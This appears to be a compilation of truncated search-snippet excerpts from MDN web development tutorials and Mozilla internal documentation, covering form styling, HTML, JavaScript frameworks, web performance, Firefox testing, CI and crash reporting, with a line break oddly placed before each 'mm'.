mmary while there are still difficulties using css with html forms, there are ways to get around many of the problems. there are no clean, universal solutions, but modern browsers offer new possibilities. for now, the best solution is to learn more about the way the different browsers support css when applied to html form controls. in the next article of this module, we will explore the different ...
CSS property compatibility table for form controls - Learn web development
due to the complexity of css and html forms, these tables can't be considered a perfect reference. however, they will give you good insight into what can and can't be done, which will help you learn how to do things. how to read the tables values for each property, there are four possible values: yes there's reasonably consistent support for the property across browsers. you may still face strange side effects in certain edge cases. partial while the property works, you may frequently face strange side effects or inconsistencies. you should probably avoid these properties unless you master those side effects first. ...
...be careful when you use them. line-height this property is supported inconsistently across browsers and you should avoid it. text-decoration this property is not supported by opera on form widgets.
Styling web forms - Learn web development
e title and all the form elements: h1 { font : 1em "typewriter", monospace; align-self : end; } #message { grid-row: 1 / 5; } #from, #reply { display: flex; } labels and controls now we can start working on the form elements themselves. first, let's ensure that the <label>s are given the right font: label { font : .8em "typewriter", sans-serif; } the text fields require some co
mmon rules. simply put, we remove their borders and backgrounds, and redefine their padding and margin: input, textarea { font : 1.4em/1.5em "handwriting", cursive, sans-serif; border : none; padding : 0 10px; margin : 0; width : 80%; background : none; } when one of these fields gains focus, we highlight them with a light grey, transparent, background (it is always important to...
...like you expected and you want to check it against our version, you can find it on github — see it running live (also see the source code). test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: styling basics. su
mmary as you can see, as long as we want to build forms with just text fields and buttons, it's easy to style them using css. in the next article, we will see how to handle form widgets which fall into the "bad" and "ugly" categories. previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form ...
Test your skills: Other controls - Learn web development
and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. other controls 1 in our first "other controls" assessment, we'll get you to create a multi-line text input. create a basic multi-line text input. associate it semantically with the provided "co
mment" label. give the input 35 columns, and 10 rows of space in which to add co
mments. give the co
mments a maximum length of 100 characters. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. other controls 2 now it's time to have a go at implementing a drop-down select menu, to a...
...e live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. other controls 2 now it's time to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the choices provided. create your basic select box structure. associate it semantically with the provided "co
mment" label. inside the list, split the choices up into 2 subgroups — "mains" and "snacks". try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. other controls 3 in our final task of this set, we start with much the same list of food choices. however, this time we want to do things...
Web forms — Working with user data - Learn web development
however, for historical and technical reasons it's not always obvious how to use them to their full potential. in the articles listed below, we'll cover all the essential aspects of web forms including marking up their html structure, styling form controls, validating form data, and submitting data to the server. ...
...derstand, and also be able to make use of our basic native form controls guide. mastering forms however requires more than just html knowledge — you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls. therefore, before you look at the other sections listed below we'd reco
mmend that you go away and learn some css and javascript first. the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the...
Front-end web developer - Learn web development
le are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules introduction to html (15–20 hour read/exercises) multimedia and embedding (15–20 hour read/exercises) html tables (5–10 hour read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is reco
mmended that you have basic html knowledge before starting to learn css. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules css first steps (10–15 hour read/exercises) ...
...sments confirms that you are ready to move on to the next module. modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) styling text (15–20 hour read/exercises) css layout (30–40 hour read/exercises) additional resources css layout cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is reco
mmended that you have basic html knowledge before starting to learn javascript. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules javascript first steps (30–40 hour re...
Dealing with files - Learn web development
hat throughout this article, we ask you to name folders and files completely in lowercase with no spaces. this is because: many computers, particularly web servers, are case-sensitive. so for example, if you put an image on your website at, test-site/myimage.jpg and then in a different file you try to invoke the image as test-site/myimage.jpg, it may not work. browsers, web servers, and progra
mming languages do not handle spaces consistently. for example, if you use spaces in your filename, some systems may treat the filename as two filenames. some servers will replace the areas in your filenames with "%20" (the character code for spaces in uris), resulting in all your links being broken. it's better to separate words with dashes, rather than underscores: my-file.html vs. my_file.html. ...
...ard an underscore that way. for these reasons, it is best to get into the habit of writing your folder and file names lowercase with no spaces and with words separated by dashes, at least until you know what you're doing. that way you'll bump into fewer problems later down the road. what structure should your website have? next, let's look at what structure our test site should have. the most co
mmon things we'll have on any website project we create are an index html file and folders to contain images, style files, and script files. let's create these now: index.html: this file will generally contain your homepage content, that is, the text and images that people see when they first go to your site. using your text editor, create a new file called index.html and save it just inside your...
Installing basic software - Learn web development
rogram, used on older web hosting accounts to manage files on servers (git is increasingly replacing ftp for this purpose). there are loads of (s)ftp programs available including cyberduck, fetch and filezilla. an automation system, like webpack, grunt, or gulp to automatically perform repetitive tasks, such as minifying code and running tests. libraries, frameworks, etc., to speed up writing co
mmon functionality. a library tends to be an existing javascript or css file that provides ready-rolled functionality for you to make use of in your code. a framework tend to take this idea further, offering a complete system with some custom syntaxes for you to write a web app on top of. more tools besides! what tools do i actually need, right now? that looks like a scary list, but fortunately,...
...this article, we'll just set you up with a bare minimum — a text editor and some modern web browsers. installing a text editor you probably already have a basic text editor on your computer. by default windows includes notepad and macos comes with textedit. linux distros vary; ubuntu comes with gedit by default. for web development, you can probably do better than notepad or textedit. we reco
mmend starting with visual studio code, which is a free editor, that offers live previews and code hints. installing modern web browsers for now, we'll install a couple of desktop web browsers to test our code in. choose your operating system below and click the relevant links to download installers for your favorite browsers: linux: firefox, chrome, opera, brave. windows: firefox, chrome, ope...
Publishing your website - Learn web development
erver. ftp programs vary widely, but generally, you have to connect to your web server using details provided by your hosting company (typically username, password, hostname). then the program shows you your local files and the web server's files in two windows, and provides a way for you to transfer files back and forth. tips for finding hosting and domains mdn does not promote specific co
mmercial hosting companies or domain name registrars. to find hosting companies and registrars, just search for "web hosting" and "domain names". all registrars will have a feature to allow you to check if the domain name you want is available. your home or office internet service provider may provide some limited hosting for a small website. the available feature set will be limited, but it might ...
.... next, you need to create a repository to store files. on this page, in the repository name box, enter username.github.io, where username is your username. for example, our friend bob smith would enter bobsmith.github.io. check the "initialize this repository with a readme" box. then click create repository. drag and drop the content of your website folder into your repository. then click co
mmit changes. note: make sure your folder has an index.html file. navigate your browser to username.github.io to see your website online. for example, for the username chrisdavidmills, go to chrisdavidmills.github.io. note: it may take a few minutes for your website to go live. if your website does not display i
mmediately, wait a few minutes. try again. to learn more, ...
Define terms with HTML - Learn web development
, melancholy. i'm feeling blue but we're constantly defining keywords informally, as here: firefox is the web browser created by the mozilla foundation. to deal with these use cases, html provides tags to mark descriptions and words described, so that your meaning gets across properly to your readers. how to mark informal description in textbooks, the first time a keyword occurs, it's co
mmon to put the keyword in bold and define it right away. we do that in html too, except html is not a visual medium and so we don't use bold. we use <dfn>, which is a special element just for marking the first occurrence of keywords. note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>firefox</dfn> is the web browser...
...erences the id of the element containing the description. how to build a description list description lists are just what they claim to be: a list of terms and their matching descriptions (e.g., definition lists, dictionary entries, faqs, and key-value pairs). description lists are not suitable for marking up dialogue, because conversation does not directly describe the speakers. here are reco
mmendations for marking up dialogue. the terms described go inside <dt> elements. the matching description follows i
mmediately, contained within one or more <dd> elements. enclose the whole description list with a <dl> element. a simple example here's a simple example describing kinds of food and drink: <dl> <dt>jambalaya</dt> <dd> rice-based entree typically containing chicken, ...
Use JavaScript within a webpage - Learn web development
y harnessing javascript. learn in this article how to trigger javascript right from your html documents. prerequisites: you need to be familiar with how to create a basic html document. objective: learn how to trigger javascript in your html file, and learn the most important best practices for keeping javascript accessible. about javascript javascript is a progra
mming language mostly used client-side to make webpages interactive. you can create amazing webpages without javascript, but javascript opens up a whole new level of possibilities. in this article we're going over the html code you need to make javascript take effect. if you want to learn javascript itself, you can start with our javascript basics article. if you already know something about javas...
...es interactive. you can create amazing webpages without javascript, but javascript opens up a whole new level of possibilities. in this article we're going over the html code you need to make javascript take effect. if you want to learn javascript itself, you can start with our javascript basics article. if you already know something about javascript or if you have a background with other progra
mming languages, we suggest you jump directly into our javascript guide. how to trigger javascript from html within a browser, javascript doesn't do anything by itself. you run javascript from inside your html webpages. to call javascript code from within html, you need the <script> element. there are two ways to use script, depending on whether you're linking to an external script or embedding a...
HTML Tables - Learn web development
this module takes you through all you need to know about structuring tabular data using html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should already have covered the basics of html — see introduction to html. ...
...owing articles: html table basics this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/su
mmaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users. assessments structuring planet data in our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an html table. ...
Structuring the web with HTML - Learn web development
uld have at least basic familiarity with using computers and using the web passively (i.e. just looking at it, consuming the content). you should have a basic work environment set up as detailed in installing basic software, and understand how to create and manage files, as detailed in dealing with files — both are parts of our getting started with the web complete beginner's module. it is reco
mmended that you work through getting started with the web before attempting this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail. after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for examp...
...res how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and su
mmaries. solving co
mmon html problems use html to solve co
mmon problems provides links to sections of content explaining how to use html to solve very co
mmon problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. ...
Image gallery - Learn web development
prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript loops, functions, conditionals, and events. ...
...owing sections describe what you need to do. looping through the images we've already provided you with lines that store a reference to the thumb-bar <div> inside a constant called thumbbar, create a new <img> element, set its src attribute to a placeholder value xxx, and append this new <img> element inside thumbbar. you need to: put the section of code below the "looping through images" co
mment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image. in each loop iteration, replace the xxx placeholder value with a string that will equal the path to the image in each case. we are setting the value of the src attribute to this value in each case. bear in mind that in each case, the image is inside the images directory a...
Useful string methods - Learn web development
england. the strings are data items that contain the three-letter station code, followed by some machine-readable data, followed by a semicolon, followed by the human-readable station name. for example: man675847583748sjt567654;manchester piccadilly we want to extract the station code and name, and put them together in a string with the following structure: man: manchester piccadilly we'd reco
mmend doing it like this: extract the three-letter station code and store it in a new variable. find the character index number of the semicolon. extract the human-readable station name using the semicolon character index number as a reference point, and store it in a new variable. concatenate the two new variables and a string literal to make the final string. change the value of the result ...
...solutionentry = textarea.value; } updatecode(); }; test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: strings. conclusion you can't escape the fact that being able to handle words and sentences in progra
mming is very important — particularly in javascript, as websites are all about co
mmunicating with people. this article has given you the basics that you need to know about manipulating strings for now. this should serve you well as you go into more complex topics in the future. next, we're going to look at the last major type of data we need to focus on in the short term — arrays. previous...
Introducing JavaScript objects - Learn web development
javascript object syntax, and revisit some javascript features we've already looked at earlier on in the course, reiterating the fact that many of the features you've already dealt with are in fact objects. object-oriented javascript for beginners with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented progra
mming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances. object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented progra
mming languages. in this article, we explore that difference, expla...
...ry details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes. in addition, we present some advice on when and where you might use oojs. working with json data javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax, which is co
mmonly used for representing and transmitting data on web sites (i.e. sending some data from the server to the client, so it can be displayed on a web page). you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json. object building practice in previ...
Multimedia: video - Learn web development
to play without forcing fullscreen mode. remove audio from muted hero videos for hero-video or other video without audio, removing audio is smart. <video autoplay="" loop="" muted="true" playsinline="" id="hero-video"> <source src="banner_video.webm" type='video/webm; codecs="vp8, vorbis"'> <source src="web_banner.mp4" type="video/mp4"> </video> this hero-video code (above) is co
mmon to conference websites and corporate home pages. it includes a video that is auto-playing, looping, and muted. there are no controls, so there is no way to hear audio. the audio is often empty, but still present, and still using bandwidth. there is no reason to serve audio with video that is always muted. removing audio can save 20% of the bandwidth. depending on your choice of software, you m...
...so there is no way to hear audio. the audio is often empty, but still present, and still using bandwidth. there is no reason to serve audio with video that is always muted. removing audio can save 20% of the bandwidth. depending on your choice of software, you might be able to remove audio during export and compression. if not, a free utility called ffmpeg can do it for you. this is the ffmpeg co
mmand string to remove audio: ffmpeg -i original.mp4 -an -c:v copy audiofreeversion.mp4 video preload the preload attribute has three available options: auto|metadata|none. the default setting is metadata. these settings control how much of a video file downloads with page load. you can save data by deferring download for less popular videos. setting preload="none" results in none of the video...
The "why" of web performance - Learn web development
to input. bad performing sites increase site abandonment. at its worst, bad performance causes content to be completely inaccessible. a good goal for web performance is for users to not notice performance. while an individual's perception of site performance performance is subjective, loading and rendering can be measured. good performance may not be obvious to most site visitors, but most will i
mmediately recognize a sluggish site. that is why we care. why care about performance? web performance—and its assocatiated best practices—are vital for your website visitors to have a good experience. in a sense, web performance can be considered a subset of web accessibility. with performance as with accessibility, you consider what device a site visitor is using to access the site and the d...
...an example, consider the loading experience of cnn.com, which at the time of this writing had over 400 http requests with a file size of over 22.6mb. imagine loading this on a desktop computer connected to a fibre optic network. this would seem relatively fast, and the file size would be largely irrelevant. imagine loading that same site using tethered mobile data on a 9 year-old ipad while co
mmuting home on public transportation. the same site will be slow to load, possibly verging on unusable depending on cell coverage. you might give up before it finishes loading. imagine loading that same site on a $35 huawei device in a rural india with limited coverage or no coverage. the site will be very slow to load—if it loads at all—with blocking scripts possibly timing out, and adverse c...
Web performance - Learn web development
to create performant websites. the rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement reco
mmendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance. we do however reco
mmend that before you work through this module, you at least get a basic idea of web development by working through our getting started with the web module. it would also be helpful to go a bit deeper into these topics, with modules such as: introduct...
...uce the number of bytes sent per image. multimedia: video the lowest hanging fruit of web performance is often media optimization. in this article we discuss the impact video content has on performance, and cover tips like removing audio tracks from background videos can improve performance. javascript performance best practices javascript, when used properly, can allow for interactive and i
mmersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. this article outlines some javascript best practices that should be considered to ensure even complex content is as performant as possible. html performance features some attributes and the source order of your mark-up can impact the performance or your websi...
React interactivity: Editing, filtering, conditional rendering - Learn web development
t), we'll add the finishing touches to the main areas of functionality in our todo list app. this includes allowing you to edit existing tasks, and filtering the list of tasks between all, completed, and incomplete tasks. we'll look at conditional ui rendering along the way. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don’t have a user interface for editing the name of a task yet. we'll get to that in a moment. to start with, we can at least implement an edittask() function in app.js. it’ll be similar to deletetask() because i...
... which callback function to use in array.prototype.filter(), we access the value in filter_map that corresponds to the key of our filter state. when filter is all, for example, filter_map[filter] will evaluate to () => true. choosing a filter in your browser will now remove the tasks that do not meet its criteria. the count in the heading above the list will also change to reflect the list! su
mmary so that's it — our app is now functionally complete. however, now that we’ve implemented all of our features, we can make a few improvements to ensure that a wider range of users can use our app. our next article rounds things off for our react tutorials by looking at including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenrea...
Vue conditional rendering: editing existing todos - Learn web development
we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to ...
...ubmit() method is invoked, which checks to see if the new label value is not blank, and not the same as the old one, and if so emits the item-edited event (which is then listened for inside todoitem.vue, see above). "cancel" <button> listens for click event. result: oncancel() method is invoked, which emits the edit-cancelled event (which is then listened for inside todoitem.vue, see above). su
mmary this article has been fairly intense, and we covered a lot here. we've now got edit and delete functionality in our app, which is fairly exciting. we are nearing the end of our vue series now. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. previous overview: client-side javascript frameworks next ...
Rendering a list of Vue components - Learn web development
a fully working component; we're now ready to add multiple todoitem components to our app. in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to ...
...="item.id"> <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> </li> </ul> </div> </template> when you look at your rendered site, it should look the same, but our refactor now means that our id is being taken from the data inside app.vue and passed into todoitem as a prop, just like everything else, so things are now more logical and consistent. su
mmary and that brings us to the end of another article. we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app. what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to ad...
Vue resources - Learn web development
previous overview: client-side javascript frameworks next now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn where to go to find further information on vue, to continue your l...
...ill running, end it by pressing ctrl + c in the terminal. next, run the npm run build (or yarn build) in the console. this will create a new dist directory containing all of your production ready files. to publish your site to the web, copy the contents of this folder to your hosting environment. note: the vue cli docs also include a specific guide on how to publish your app to many of the co
mmon hosting platforms. vue 3 vue 3 is a major release of the framework with a lot of major changes. it went into active beta in april, 2020. the biggest change is a new composition api that works as an alternative to the current property-based api. in this new api, a single setup() function is used on the component. only what you return from this function is available in your <template>s. you ar...
Understanding client-side JavaScript frameworks - Learn web development
able components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. 5. advanced svelte: reactivity, lifecycle, accessibility in this article we will add the app's final features and further componentize our app. we will learn how to deal with reactivity issues related to updating objects and arrays. to avoid co
mmon pitfalls, we'll have to dig a little deeper into svelte's reactivity system. we'll also look at solving some accessibility focus issues, and more besides. 6. working with svelte stores in this article we will show another way to handle state management in svelte — stores. stores are global global data repositories that hold values. components can subscribe to stores and receive notification...
...ows a lot of promise and has gained a lot of recent popularity. there is a variety of reasons for this: they are popular choices that will be around for a while — like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job. they have strong co
mmunities and good documentation. it is very important to be able to get help with learning a complex subject, especially when you are just starting out. we don't have the resources to cover all modern frameworks. that list would be very difficult to keep up-to-date anyway, as new ones appear all the time. as a beginner, trying to choose what to focus on out of the huge number of choices available...
Understanding client-side web development tools - Learn web development
we finish up by providing a complete toolchain example showing you how to get productive. get started now, with our "client-side tooling overview" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. ...
...web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started guides 1. client-side tooling overview in this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools. 2. co
mmand line crash course in your development process you'll undoubtedly be required to run some co
mmand in the terminal (or on the "co
mmand line" — these are effectively the same thing). this article provides an introduction to the terminal, the essential co
mmands you'll need to enter into it, how to chain co
mmands together, and how to add your own co
mmand line interface (cli) tools. 3. package m...
Tools and testing - Learn web development
as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
...of javascript frameworks, or writing tests and running them against your code using test runners. in addition, you should start with the first module in this topic, which gives a useful overview of the general area. modules understanding client-side web development tools client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most co
mmon client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the co
mmand line. we finish up by providing a complete toolchain example showing you how to get productive. understanding client-side javascript frameworks javascript frameworks are an essential part of modern front-end web development, providing developers with...
omni.ja (formerly omni.jar)
f 7-zip) currently cannot read omni.ja, due to the optimization that is applied to the file. it is suggested that windows 7 users unzip the file by renaming it to omni.zip and using windows explorer to extract all files. users of older versions of windows can use infozip's unzip tool to extract files - make a copy of omni.ja, and drag-and-drop it onto unzip.exe. ...
...zip -0dxqr omni.ja path/to/omni/* will not work. note: prior to firefox 10 and thunderbird 10, omni.ja was called omni.jar. ...
Multiprocess on Windows
ta[] { { // first arraydata definition }, { // second arraydata definition } }; mozilla::mscom::registerarraydata(kmyarraydata); each arraydata struct corresponds to one function; with length_is and/or size_is annotations. if your interface contains two functions with those annotations, then you will need to add two arraydata entries. arraydata contains seven fields: iid miid; ulong
mmethodindex; ulong marrayparamindex; vartype marrayparamtype; iid marrayparamiid; ulong mlengthparamindex; flag mflag; miid is the uuid of the interface owning the function.
mmethodindex is the vtable index of the function within its interface. this index must take into account the vtable(s) of parent interfaces. for example, if interface ifoo inherits from iunknown, the lowest poss...
...index; ulong marrayparamindex; vartype marrayparamtype; iid marrayparamiid; ulong mlengthparamindex; flag mflag; miid is the uuid of the interface owning the function.
mmethodindex is the vtable index of the function within its interface. this index must take into account the vtable(s) of parent interfaces. for example, if interface ifoo inherits from iunknown, the lowest possible
mmethodindex for ifoo could be 3, because indices 0, 1, and 2 are occupied by the functions that ifoo inherited from iunknown. marrayparamindex is the index of the parameter that contains the array (excluding the this pointer). marrayparamtype is the expected variant type of the outparam. this should usually be set to vt_unknown | vt_byref, which is telling the interceptor that the outparam is an ...
Browser chrome tests
" window, and report the results in the ui and to stdout. it is possible to run specific groups of tests. as with mochitest, the path given as an argument is the path to a test or directory within the mozilla source tree. if the path points to a directory, then the tests in that directory and all of its subdirectories will be run. for example, to run the tests in browser/base/content/test the co
mmand would be: ./mach mochitest -f browser browser/base/content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ run ./mach help mochitest-browser for more options. writing browser chrome tests browser chrome tests are snippet...
...ation for more details. the eventutils helper functions are available on the eventutils object defined in the global scope. the test file name must be prefixed with "browser_", and must have a file extension of ".js". files that don't match this pattern will be ignored by the test harness. using a descriptive file name is strongly encouraged instead of just using a bug number. you can collect co
mmon utils and helpers in a file called head.js, that must live in the same folder as the browser-chrome tests. this file will be injected into the test scope for each test living in the same folder. notice that any function call in head.js main scope will run before the main test() method. asynchronous tests when writing async tests, you can use the add_task method with promises. the test suite ...
Continuous Integration
this document will help you understand all the pieces that comprise mozilla's continuous integration systems. taskcluster and treeherder taskcluster, mozilla's continuous integration (ci) system picks up changes pushed to hg. taskcluster generate binary builds for firefox and firefox for android across a variety of operating sytems. after the builds are completed, they are used to run a series of correctness and performance tests. the results of taskcluster jobs (both builds and tests) are displayed in treeherder. ...
... role is to "keep the tree green", or in other words, to keep the code in our respositories in a good state, to the extent that the state is reflected in the output shown on treeherder. when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional co
mmits). results in treeherder are ordered by mercurial pushes. each taskcluster job is represented by a colored label; green means a job has succeeded, while other colors represent different kinds of problems. the label text indicates the job type. for a full list of job types, see the help menu in treeherder's upper-right corner. below is a list of the most co
mmon. builds b - normal build ...
Interface Compatibility
the rules which govern interface changes are different depending on the consumers and the languages involved. web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. any changes, including new features, must have super-review. one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology preview. ...
... and using dynamic calls to queryinterface, it has been possible to write binary xpcom components which were compatible with multiple versions of firefox. beginning with mozilla 2 (firefox 4), this will no longer be supported: all @status markings have been removed, and extensions that use binary components will need to recompile for each major version they wish to support. js-ctypes is the reco
mmended way for extensions to call into os or third-party native code. you should strongly consider migrating existing code to use js-ctypes instead of binary components. if necessary, it is possible for an extension to support multiple versions by shipping multiple shared libraries (dlls) in the same extension package, and selecting the correct version using versioning flags in its chrome.manifest...
Error codes returned by Mozilla APIs
hen registering a component and the registration should try registering again later. ns_error_factory_not_loaded (0x800401f8) ns_error_factory_exists (0xc1f30100) ns_error_factory_no_signature_support (0xc1f30101) ns_error_proxy_invalid_in_parameter (0x80010010) ns_error_proxy_invalid_out_parameter (0x80010011) ns_error_cannot_convert_data (0x80460001) ns_error_object_is_i
mmutable (0x80460002) ns_error_loss_of_significant_data (0x80460003) ns_error_illegal_during_shutdown (0x8046001e) many operations cannot be performed once the application is being shutdown. this error will occur in this situation. file errors the following table lists the errors that could occur when using files. while these errors can occur when using the file apis, they can also occur...
...blished. xxx currently unused - consider removing. ns_error_not_connected (0x804b000c) the connection does not exist. xxx currently unused - consider removing. ns_error_connection_refused (0x804b000d) ns_error_net_timeout (0x804b000e) ns_error_in_progress (0x804b000f) the requested action could not be completed while the object is busy. implementations of nsichannel.asyncopen() will co
mmonly return this error if the channel has already been opened (and has not yet been closed). ns_error_offline (0x804b0010) ns_error_no_content (0x804b0011) returned from nsichannel.asyncopen() to indicate that ondataavailable will not be called because there is no content available. this is used by helper app style protocols (for example, mailto). ns_error_unknown_protocol (0x804b0012) the...
Message manager
message managers provide a way for chrome-privileged javascript code to co
mmunicate across process boundaries. they are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web content while the browser is running web content in a separate process. these guides explain how to use message managers in multiprocess firefox. note that none of this requires multiprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
... web content while the browser is running web content in a separate process. these guides explain how to use message managers in multiprocess firefox. note that none of this requires multiprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
Firefox
efox is mozilla's popular web browser, available for multiple platforms including windows, macos, and linux on the desktop and all android and ios mobile devices. with broad compatibility, the latest in web technologies, and powerful development tools, firefox is a great choice for both web developers and end users. firefox is an open source project; much of the code is contributed by our huge co
mmunity of volunteers. here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics. learn how to create add-ons for firefox, how to develop and build firefox itself, and how the internals of firefox and its subprojects work. project documentation ...
... but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid co
mmon pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit. firefox profiles if you find yourself using multiple firefox channels—or just multiple configurations—on a regular basis, you should read how to use multiple firefox profiles by turning firefox's profile...
Using the Browser API
like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. note: an iframe enhanced by the browser api is co
mmonly referred to as a "browser iframe". we'll be using this term throughout the current article, and other parts of the documentation. demo to demonstrate basic usage of this api, we have created a simple browser api demo that provides buttons allowing you to (re)load web pages, stop loading, move forward and back in history, and zoom in and out of the page. to run the demo, the best approac...
...en this fires, we set the value inside the url bar input to be equal to the event object detail property — this is so that the url displayed continues to match the website being shown when the user navigates back and forth through the history. browser.addeventlistener('mozbrowserlocationchange', function (e) { urlbar.value = e.detail; }); zooming in and out the browser content can be progra
mmatically zoomed in and out using the htmliframeelement.zoom() method. this takes a single method — a zoom factor — which dictates the percentage to zoom in or out by. for example, 1.1 would mean "zoom in by 10%", and 0.9 would mean "zoom out by 10%". var zoomfactor = 1; ... zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeve...
How to Report a Hung Firefox
file a bug report with the crash report id. the steps to induce a crash are slightly different on each platform: windows on windows, the stability team has written a utility which will inject a crash into firefox which will trigger the crash reporter: download crashfirefox.exe here (source code). running this tool will search for firefox.exe and inject crashing code into it. the tool also has co
mmand-line options to kill processes with other names or by process id. run the crashfirefox.exe tool. the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. the crash report should look something like this report, which is an example of bug 1132241. create a new bug re...
